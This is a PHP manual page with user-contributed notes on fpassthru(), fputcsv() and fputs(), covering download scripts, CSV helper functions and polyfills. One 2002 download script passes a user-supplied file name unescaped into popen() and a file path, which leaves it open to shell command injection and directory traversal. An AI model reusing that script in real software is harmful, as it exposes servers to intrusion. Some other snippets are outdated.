mikek at muonics dot nospam dot c dot o 04-Oct-2002 05:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
10-Sep-2002 02:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 01:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org 30-Aug-2002 04:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m 24-Aug-2002 06:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
- 25-Jul-2002 01:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net 24-Apr-2002 02:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com 04-Apr-2002 09:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
    while($string=fgets($fp, 1024)) $contentType .= $string;
    pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
    // IE cannot download from sessions without a cache
    header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
    print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com 23-Jan-2002 02:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
straz at -removethispart-mac dot com 15-Jan-2002 09:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com 31-Oct-1999 01:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.


Format line as CSV and write to file pointer

  • « fpassthru
  • fputs »
  • PHP Manual
  • Filesystem Functions
  • Format line as CSV and write to file pointer

fputcsv

(PHP 5 >= 5.1.0)

fputcsv — Format line as CSV and write to file pointer

Description

int fputcsv ( resource $handle , array $fields [, string $delimiter = "," [, string $enclosure = '"' ]] )

fputcsv() formats a line (passed as a fields array) as CSV and write it (terminated by a newline) to the specified file handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

fields

An array of values.

delimiter

The optional delimiter parameter sets the field delimiter (one character only).

enclosure

The optional enclosure parameter sets the field enclosure (one character only).

Return Values

Returns the length of the written string or FALSE on failure.

Examples

Example #1 fputcsv() example

<?php

$list = array (
    array('aaa', 'bbb', 'ccc', 'dddd'),
    array('123', '456', '789'),
    array('"aaa"', '"bbb"')
);

$fp = fopen('file.csv', 'w');

foreach ($list as $fields) {
    fputcsv($fp, $fields);
}

fclose($fp);
?>

The above example will write the following to file.csv:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

See Also

  • fgetcsv() - Gets line from file pointer and parse for CSV fields

User Contributed Notes

mike at fatica dot net 23-Jul-2014 12:51
We had a function that wrote a single line CSV.  I noticed that with enabling auto_detect_line_endings, fputcsv would not write a newline at the end of the file.

Enabling auto_detect_line_endings changed the fputcsv behavior to include a newline.
iam at thatguy dot co dot za 20-Jan-2014 11:37
So this is something I wrote to generically generate CSV exports from 2 arrays and a name.

You need to provide it with e single dimension array for the headings. A multidimensional array with the actual body . And lastly the filename you would like to get minus the .csv and viola.

<?php

    # We will use this function to generate a CSV
    function exportCSV($headings=false, $rows=false, $filename=false)
    {
        # Ensure that we have data to be able to export the CSV
        if ((!empty($headings)) AND (!empty($rows)))
        {
            # modify the name somewhat
            $name = ($filename !== false) ? $filename . ".csv" : "export.csv";

            # Set the headers we need for this to work
            header('Content-Type: text/csv; charset=utf-8');
            header('Content-Disposition: attachment; filename=' . $name);

            # Start the ouput
            $output = fopen('php://output', 'w');

            # Create the headers
            fputcsv($output, $headings);

            # Then loop through the rows
            foreach($rows as $row)
            {
                # Add the rows to the body
                fputcsv($output, $row);
            }

            # Exit to close the stream off
            exit();
        }

        # Default to a failure
        return false;
    }
?>
alanzhang717 at gmail dot com 26-Nov-2013 10:44
When you output csv by fputcsv, if there are any Chinese character, you may get messy code. Then you need to set the encoding properly:

fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF));  // just add this line
fputcsv($fp, ...);
R dot Mansveld at Spider-IT dot de 27-Sep-2013 10:26
Inspired by boonerunner's function, I wrote a smaller, faster, and more flexible one, which also uses less memory.
I also renamed it to avoid collision or overwriting the PHP function, and gave the 3rd and 4th parameter default values like fputcsv() uses.

This function puts all text values in $enclosure's while doubling the $enclosure in the value, and leaves numeric values as they are.
But if the $delimiter exists in the numeric value, this value will also be put in $enclosure's (may happen if you use a dot as the $delimiter).

function fwritecsv($handle, $fields, $delimiter = ',', $enclosure = '"') {
    # Check if $fields is an array
    if (!is_array($fields)) {
        return false;
    }
    # Walk through the data array
    for ($i = 0, $n = count($fields); $i < $n; $i ++) {
        # Only 'correct' non-numeric values
        if (!is_numeric($fields[$i])) {
            # Duplicate in-value $enclusure's and put the value in $enclosure's
            $fields[$i] = $enclosure . str_replace($enclosure, $enclosure . $enclosure, $fields[$i]) . $enclosure;
        }
        # If $delimiter is a dot (.), also correct numeric values
        if (($delimiter == '.') && (is_numeric($fields[$i]))) {
            # Put the value in $enclosure's
            $fields[$i] = $enclosure . $fields[$i] . $enclosure;
        }
    }
    # Combine the data array with $delimiter and write it to the file
    $line = implode($delimiter, $fields) . "\n";
    fwrite($handle, $line);
    # Return the length of the written data
    return strlen($line);
}
gildas dot quemener at gmail dot com 17-Jul-2013 05:29
There is an even easier solution to get the result of fputcsv into a variable:

<?php
 $output = fopen('php://output', 'w');
 ob_start();
 fputcsv($output, $data);
 fclose($output);
 $csv = ob_get_clean();
?>
David Thomas 21-Nov-2011 03:17
Output XML string as CSV with first row as column headers:

<?php

    // In this case XML is
    // <records>
    //  <record>...</record>
    //  <record>...</record>
    // </records>

  if($xml = simplexml_load_string($string)){
    // Keep up to 12MB in memory, if becomes bigger write to temp file
    $file = fopen('php://temp/maxmemory:'. (12*1024*1024), 'r+');
    if($row = get_object_vars($xml->record[0])){ // First record
      // First row contains column header values
      foreach($row as $key => $value){
        $header[] = $key;
      }
      fputcsv($file, $header,',','"');
      foreach ($xml->record as $record) {
        fputcsv($file, get_object_vars($record),',','"');
      }
      rewind($file);
      $output = stream_get_contents($file);
      fclose($file);
      return $output;
    }else{
      return '';
    }
  }

?>
Ovidiu Curcan 28-Jul-2011 12:48
Unexpected (to me) behaviour: the enclosure characters inside the strings are doubled *unless* they're preceded by a backslash. If the enclosure is preceded by a backslash it's considered to be already escaped.

<?php

$data = array(
    'Doubled: -> " <-',
    'NOT doubled: -> \" <-',
);

$buffer = fopen('php://temp', 'r+');
fputcsv($buffer, $data);
rewind($buffer);
$csv = fgets($buffer);
fclose($buffer);

echo $csv; // "Doubled: -> "" <-","NOT doubled: -> \" <-"

?>

As a result, the CSV file generated by my application was not correctly opened by OpenOffice.org. The offending row and all the subsequent rows were missing from the spreadsheet.

PHP: 5.3.2-1ubuntu4.9
OpenOffice.org: 3.2.0
jamie at agentdesign dot co dot uk 20-Jul-2011 03:05
Utility function to output a mysql query to csv with the option to write to file or send back to the browser as a csv attachment.

<?php
    function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

        if($attachment) {
            // send response headers to the browser
            header( 'Content-Type: text/csv' );
            header( 'Content-Disposition: attachment;filename='.$filename);
            $fp = fopen('php://output', 'w');
        } else {
            $fp = fopen($filename, 'w');
        }

        $result = mysql_query($query, $db_conn) or die( mysql_error( $db_conn ) );

        if($headers) {
            // output header row (if at least one row exists)
            $row = mysql_fetch_assoc($result);
            if($row) {
                fputcsv($fp, array_keys($row));
                // reset pointer back to beginning
                mysql_data_seek($result, 0);
            }
        }

        while($row = mysql_fetch_assoc($result)) {
            fputcsv($fp, $row);
        }

        fclose($fp);
    }

    // Using the function
    $sql = "SELECT * FROM table";
    // $db_conn should be a valid db handle

    // output as an attachment
    query_to_csv($db_conn, $sql, "test.csv", true);

    // output to file system
    query_to_csv($db_conn, $sql, "test.csv", false);
?>
Christine K - crimson at technologist dot com 16-May-2011 04:09
These two handy functions allow you to use fgetcsv with a string instead of a file handle and fputcsv to convert an array to a string instead of writing to a file handle. Hopefully this functionality will exist natively soon. Props to prior notes on these functions that led me to these.
<?php
    function array_to_CSV($data)
    {
        $outstream = fopen("php://temp", 'r+');
        fputcsv($outstream, $data, ',', '"');
        rewind($outstream);
        $csv = fgets($outstream);
        fclose($outstream);
        return $csv;
    }

    function CSV_to_array($data)
    {
        $instream = fopen("php://temp", 'r+');
        fwrite($instream, $data);
        rewind($instream);
        $csv = fgetcsv($instream, 9999999, ',', '"');
        fclose($instream);
        return($csv);
    }
?>
Guile 21-Sep-2010 12:32
Here is a way to send csv like echo does :
<?php
function outputCSV($data) {

    $outstream = fopen("php://output", 'w');

    function __outputCSV(&$vals, $key, $filehandler) {
        fputcsv($filehandler, $vals, ';', '"');
    }
    array_walk($data, '__outputCSV', $outstream);

    fclose($outstream);
}

$mydata = array(
 array('data11', 'data12', 'data13'),
 array('data21', 'data22', 'data23'),
 array('data31', 'data32', 'data23'));

outputCSV($mydata);
/* Output sent :
data11;data12;data13
data21;data22;data23
data31;data32;data23
*/
?>

Moreover, this can be nicer with PHP5.3+ closures
simeonl at dbc dot co dot nz 24-Mar-2010 05:24
In general I found myself wanting to get the result as a string rather than writing it to a file, and in particular I wanted to produce a CSV using an EOL that might not be the same as that on the server where I generated it.  This is how I solved the problem without rewriting  fputcsv.

<?php
function sputcsv($row, $delimiter = ',', $enclosure = '"', $eol = "\n")
{
    static $fp = false;
    if ($fp === false)
    {
        $fp = fopen('php://temp', 'r+'); // see http://php.net/manual/en/wrappers.php.php - yes there are 2 '.php's on the end.
        // NB: anything you read/write to/from 'php://temp' is specific to this filehandle
    }
    else
    {
        rewind($fp);
    }

    if (fputcsv($fp, $row, $delimiter, $enclosure) === false)
    {
        return false;
    }

    rewind($fp);
    $csv = fgets($fp);

    if ($eol != PHP_EOL)
    {
        $csv = substr($csv, 0, (0 - strlen(PHP_EOL))) . $eol;
    }

    return $csv;
}

// test
$rows = array
(
    array('blue, sky', 'green, lime', 'red', 'black'),
    array('white', 'gold', 'purple, imperial', 'grey, slate'),
    array('orange, burnt', 'pink, hot', 'violet', 'indigo'),
);

if (PHP_EOL == "\r\n")
{
    $eol = "\n";
}
else
{
    $eol = "\r\n";
}

foreach($rows as $row)
{
    echo nl2br(sputcsv($row, ',', '"', $eol));
}
?>

The test should produce something like the following:

"blue, sky","green, lime",red,black
white,gold,"purple, imperial","grey, slate"
"orange, burnt","pink, hot",violet,indigo
Jason 01-Jul-2009 08:47
To get the mssafe_csv function below to work using PHP5, I had to change line 50 from:
fputcsv($fp, $line);

to:
fputcsv($fp, split(',', $line));

Otherwise works great! Thanks for the function.
alex /-\-l- windeagle DOT org 11-Jun-2009 05:41
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>

==================

it should be:
<?php
    fputcsv($fp, $foo, "\t");
?>
you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work.
soapergem at gmail dot com 14-May-2009 05:17
I've created a function for quickly generating CSV files that work with Microsoft applications. In the field I learned a few things about generating CSVs that are not always obvious. First, since PHP is generally *nix-based, it makes sense that the line endings are always \n instead of \r\n. However, certain Microsoft programs (I'm looking at you, Access 97), will fail to recognize the CSV properly unless each line ends with \r\n. So this function changes the line endings accordingly. Secondly, if the first column heading / value of the CSV file begins with uppercase ID, certain Microsoft programs (ahem, Excel 2007) will interpret the file as being in the SYLK format rather than CSV, as described here: http://support.microsoft.com/kb/323626

This function accommodates for that as well, by forcibly enclosing that first value in quotes (when this doesn't occur automatically). It would be fairly simple to modify this function to use another delimiter if need be and I leave that as an exercise to the reader. So quite simply, this function is used for outputting CSV data to a CSV file in a way that is safe for use with Windows applications. It takes two parameters + one optional parameter: the location of where the file should be saved, an array of data rows, and an optional array of column headings. (Technically you could omit the headings array and just include it as the first row of the data, but it is often useful to keep this data stored in different arrays in practice.)

<?php

function mssafe_csv($filepath, $data, $header = array())
{
    if ( $fp = fopen($filepath, 'w') ) {
        $show_header = true;
        if ( empty($header) ) {
            $show_header = false;
            reset($data);
            $line = current($data);
            if ( !empty($line) ) {
                reset($line);
                $first = current($line);
                if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                    array_shift($data);
                    array_shift($line);
                    if ( empty($line) ) {
                        fwrite($fp, "\"{$first}\"\r\n");
                    } else {
                        fwrite($fp, "\"{$first}\",");
                        fputcsv($fp, $line);
                        fseek($fp, -1, SEEK_CUR);
                        fwrite($fp, "\r\n");
                    }
                }
            }
        } else {
            reset($header);
            $first = current($header);
            if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                array_shift($header);
                if ( empty($header) ) {
                    $show_header = false;
                    fwrite($fp, "\"{$first}\"\r\n");
                } else {
                    fwrite($fp, "\"{$first}\",");
                }
            }
        }
        if ( $show_header ) {
            fputcsv($fp, $header);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        foreach ( $data as $line ) {
            fputcsv($fp, $line);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        fclose($fp);
    } else {
        return false;
    }
    return true;
}

?>
nate at example dot com 20-Nov-2008 07:17
Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead.

Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]).

<?php

function fputcsv2 ($fh, array $fields, $delimiter = ',', $enclosure = '"', $mysql_null = false) {
    $delimiter_esc = preg_quote($delimiter, '/');
    $enclosure_esc = preg_quote($enclosure, '/');

    $output = array();
    foreach ($fields as $field) {
        if ($field === null && $mysql_null) {
            $output[] = 'NULL';
            continue;
        }

        $output[] = preg_match("/(?:${delimiter_esc}|${enclosure_esc}|\s)/", $field) ? (
            $enclosure . str_replace($enclosure, $enclosure . $enclosure, $field) . $enclosure
        ) : $field;
    }

    fwrite($fh, join($delimiter, $output) . "\n");
}

// the _EXACT_ LOAD DATA INFILE command to use
// (if you pass in something different for $delimiter
// and/or $enclosure above, change them here too;
// but _LEAVE ESCAPED BY EMPTY!_).
/*
LOAD DATA INFILE
    '/path/to/file.csv'

INTO TABLE
    my_table

FIELDS TERMINATED BY
    ','

OPTIONALLY ENCLOSED BY
    '"'

ESCAPED BY
    ''

LINES TERMINATED BY
    '\n'
*/

?>
jon+dontspamme at phpsitesolutions dot com 30-Jul-2008 07:44
I found that the fputcsv examples for PHP 4 missed one thing, that was proper handling of the $enclosure value when it is a quote (if a quote is passed in a field, and it is delimited by a slash, it will be improperly handled by the functions submitted here).

My modified function was built using the actual PHP5 source for fputcsv, with the addition of properly reacting to the existence of a delimited quote in the field being processed.

<?php
if (!function_exists('fputcsv')) {
    function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {

        // Sanity Check
        if (!is_resource($handle)) {
            trigger_error('fputcsv() expects parameter 1 to be resource, ' .
                gettype($handle) . ' given', E_USER_WARNING);
            return false;
        }

        if ($delimiter!=NULL) {
            if( strlen($delimiter) < 1 ) {
                trigger_error('delimiter must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($delimiter) > 1 ) {
                trigger_error('delimiter must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $delimiter = $delimiter[0];
        }

        if( $enclosure!=NULL ) {
             if( strlen($enclosure) < 1 ) {
                trigger_error('enclosure must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($enclosure) > 1 ) {
                trigger_error('enclosure must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $enclosure = $enclosure[0];
       }

        $i = 0;
        $csvline = '';
        $escape_char = '\\';
        $field_cnt = count($fields);
        $enc_is_quote = in_array($enclosure, array('"',"'"));
        reset($fields);

        foreach( $fields AS $field ) {

            /* enclose a field that contains a delimiter, an enclosure character, or a newline */
            if( is_string($field) && (
                strpos($field, $delimiter)!==false ||
                strpos($field, $enclosure)!==false ||
                strpos($field, $escape_char)!==false ||
                strpos($field, "\n")!==false ||
                strpos($field, "\r")!==false ||
                strpos($field, "\t")!==false ||
                strpos($field, ' ')!==false ) ) {

                $field_len = strlen($field);
                $escaped = 0;

                $csvline .= $enclosure;
                for( $ch = 0; $ch < $field_len; $ch++ )    {
                    if( $field[$ch] == $escape_char && $field[$ch+1] == $enclosure && $enc_is_quote ) {
                        continue;
                    }elseif( $field[$ch] == $escape_char ) {
                        $escaped = 1;
                    }elseif( !$escaped && $field[$ch] == $enclosure ) {
                        $csvline .= $enclosure;
                    }else{
                        $escaped = 0;
                    }
                    $csvline .= $field[$ch];
                }
                $csvline .= $enclosure;
            } else {
                $csvline .= $field;
            }

            if( $i++ != $field_cnt ) {
                $csvline .= $delimiter;
            }
        }

        $csvline .= "\n";

        return fwrite($handle, $csvline);
    }
}
?>
ifunk 17-Sep-2007 03:04
I converted this from the PHP source code. This replicates PHP5 functionality exactly, whereas the other examples here do not.

<?php

if (!function_exists('fputcsv')) {

  function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value) {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false) {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++) {
          if ($value[$i] == $escape_char) {
            $escaped = 1;
          } else if (!$escaped && $value[$i] == $enclosure) {
            $str2 .= $enclosure;
          } else {
            $escaped = 0;
          }
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      } else {
        $str .= $value.$delimiter;
      }
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

?>
alexxed thething gmail thething com 10-Aug-2007 09:28
A event simpler way:

<?php
    function fputcsv($hFile, $aRow, $sSeparator=',', $sEnclosure='"')
    {
       foreach ($aRow as $iIdx=>$sCell)
          $aRow[$iIdx] = str_replace($sEnclosure, $sEnclosure.$sEnclosure, $sCell);

       fwrite($hFile, join($aRow, $sSeparator)."\n");
    }
?>
bl at mindbench dot nl 26-Mar-2007 09:55
If you need to save the output to a variable (e.g. for use within a framework) you can write to a temporary memory-wrapper and retrieve it's contents:

<?php
// output up to 5MB is kept in memory, if it becomes bigger it will automatically be written to a temporary file
$csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+');

fputcsv($csv, array('blah','blah'));

rewind($csv);

// put it all in a variable
$output = stream_get_contents($csv);
?>
MagicalTux at ooKoo dot org 18-Jan-2007 03:08
If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it..

<?php
$out = fopen('php://output', 'w');
fputcsv($out, array('this','is some', 'csv "stuff", you know.'));
fclose($out);
?>
heather at heathercash dot com 26-Sep-2005 01:18
Here is an adaptation to boonerunner's function for fputcsv.
It uses a 2-dimensional array.
Each sub-array is a line in the csv file which then ends up being seperated by commas.

<?php
function fputcsv($filePointer,$dataArray,$delimiter=",",$enclosure="\""){
    // Write a line to a file
    // $filePointer = the file resource to write to
    // $dataArray = the data to write out
    // $delimeter = the field separator

    // Build the string
    $string = "";

    // for each array element, which represents a line in the csv file...
    foreach($dataArray as $line){

        // No leading delimiter
        $writeDelimiter = FALSE;

        foreach($line as $dataElement){
            // Replaces a double quote with two double quotes
            $dataElement=str_replace("\"", "\"\"", $dataElement);

            // Adds a delimiter before each field (except the first)
            if($writeDelimiter) $string .= $delimiter;

            // Encloses each field with $enclosure and adds it to the string
            $string .= $enclosure . $dataElement . $enclosure;

            // Delimiters are used every time except the first.
            $writeDelimiter = TRUE;
        }
        // Append new line
        $string .= "\n";

    } // end foreach($dataArray as $line)

    // Write the string to the file
    fwrite($filePointer,$string);
}
?>
boonerunner at hotmail dot com 16-Sep-2005 04:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
    // Replaces a double quote with two double quotes
    $dataElement=str_replace("\"", "\"\"", $dataElement);

    // Adds a delimiter before each field (except the first)
    if($writeDelimiter) $string .= $delimiter;

    // Encloses each field with $enclosure and adds it to the string
    $string .= $enclosure . $dataElement . $enclosure;

    // Delimiters are used every time except the first.
    $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
drew at zitnay dot com 22-Nov-2004 06:42
[EDIT BY danbrown AT php DOT net: This is a revised function with a few bugfixes and improvements done by this author.  The original function example was written by arthur AT mclean DOT ws, and rewritten between by arthur AT korn DOT ch.]

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

Drew


Alias of fwrite

  • « fputcsv
  • fread »
  • PHP Manual
  • Filesystem Functions
  • Alias of fwrite

fputs

(PHP 4, PHP 5)

fputs — Alias of fwrite()

Description

This function is an alias of: fwrite().

User Contributed Notes

Nile River 11-Dec-2010 07:54
This will create a visitor count for your webpage

<?php

$filename = 'sitevisitors.txt';

if (file_exists($filename))
    {
        $count = file('sitevisitors.txt');
        $count[0] ++;
        $fp = fopen("sitevisitors.txt", "w");
        fputs ($fp, "$count[0]");
        fclose ($fp);
        echo $count[0];
    }

else
    {
        $fh = fopen("sitevisitors.txt", "w");
        if($fh==false)
            die("unable to create file");
        fputs ($fh, 1);
        fclose ($fh);
        $count = file('sitevisitors.txt');
        echo $count[0];
    }

?>
rembert at floating-point dot nl 21-Nov-2002 01:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
yvan dot rivard at cesart dot com 17-Apr-2001 11:52
This might seem silly for experienced users, but this bugged me for about two hours (searching and trying to debug the damn thing).

If you're on a Windows system doing tests on a Linux/Apache setup, and you're writing stuff to a text file (then load that file to see if your content is being written properly) and you realize only your first string is in there, your problem is not your Windows, not Linux and not Apache. It's probably Samba (the thing that makes it possible for your Linux and Windows boxes to talk to each other) that's caching your file... Try viewing your file via telnet or simply copy your file then read that copy.

You can see content is being written to your file anyway, because even though you don't see your new content (using notepad for example), you do see your filesize increasing as you add more text to your file.
08-Oct-2000 09:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php
Doug at Here dot Com 01-Jul-2000 02:46
The way I understand fputs (which is purported as an alias to fwrite which can be "Binary Safe")...

<?php
$fp = fopen("something.txt","w");
$string = "Hello World\\n";  // escape the slash from being magically
// being transformed into a newline
fwrite($fp, $string); // will proccess /n as newline ...
fwrite($fp, $string, strlen($string)); // will write the entire string to file without changing the '/n'
// into a single byte for newline on Unix-like machines or CR/LF on Win32 machines
?>

Hope this helps explain the definition of "could be Binary Safe". This is the reason why you must specify the length!

--Doug
bschuetz at affinity dot net 23-Dec-1998 04:30
